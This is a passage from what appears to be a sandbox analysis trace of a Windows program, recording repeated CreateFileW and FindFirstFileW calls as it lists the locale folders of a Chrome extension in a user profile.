	[0066.424] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hr\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f0b190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f0b190, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f0b190, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.425] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hu" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.425] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hu\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f0b190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f0b190, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f0b190, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.426] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\id" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\id"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.426] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\id\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f0b190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f0b190, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f0b190, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.427] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\it" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\it"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.427] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\it\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f0b190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f0b190, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f0b190, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.427] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ja" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ja"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.427] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ja\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f0b190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f0b190, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f0b190, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.428] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ko" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ko"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.428] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ko\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f0b190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f0b190, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f0b190, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.429] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.429] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lt\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f312f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f312f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f312f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.430] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.430] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lv\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f312f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f312f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f312f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.430] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.430] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ms\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f312f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f312f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f312f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.431] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\nl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\nl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.432] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\nl\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f312f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f312f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f312f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.432] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\no" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\no"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.432] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\no\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f312f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f312f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f312f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.433] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.433] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pl\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f57450, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f57450, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f57450, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.433] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_BR" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_br"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.433] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_BR\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f57450, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f57450, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f57450, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.434] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_PT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_pt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.435] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_PT\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f57450, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f57450, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f57450, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.435] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ro" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ro"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.435] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ro\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f57450, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f57450, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f57450, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.436] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ru" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ru"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.436] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ru\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f57450, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f57450, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f57450, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.437] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.437] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sk\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f57450, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f57450, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f57450, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.438] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.438] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sl\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86fc9870, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86fc9870, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86fc9870, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.438] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sr" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.438] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sr\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86fc9870, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86fc9870, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86fc9870, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.440] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.440] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sv\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86fc9870, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86fc9870, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86fc9870, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.440] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\th" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\th"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.440] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\th\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86fef9d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86fef9d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86fef9d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
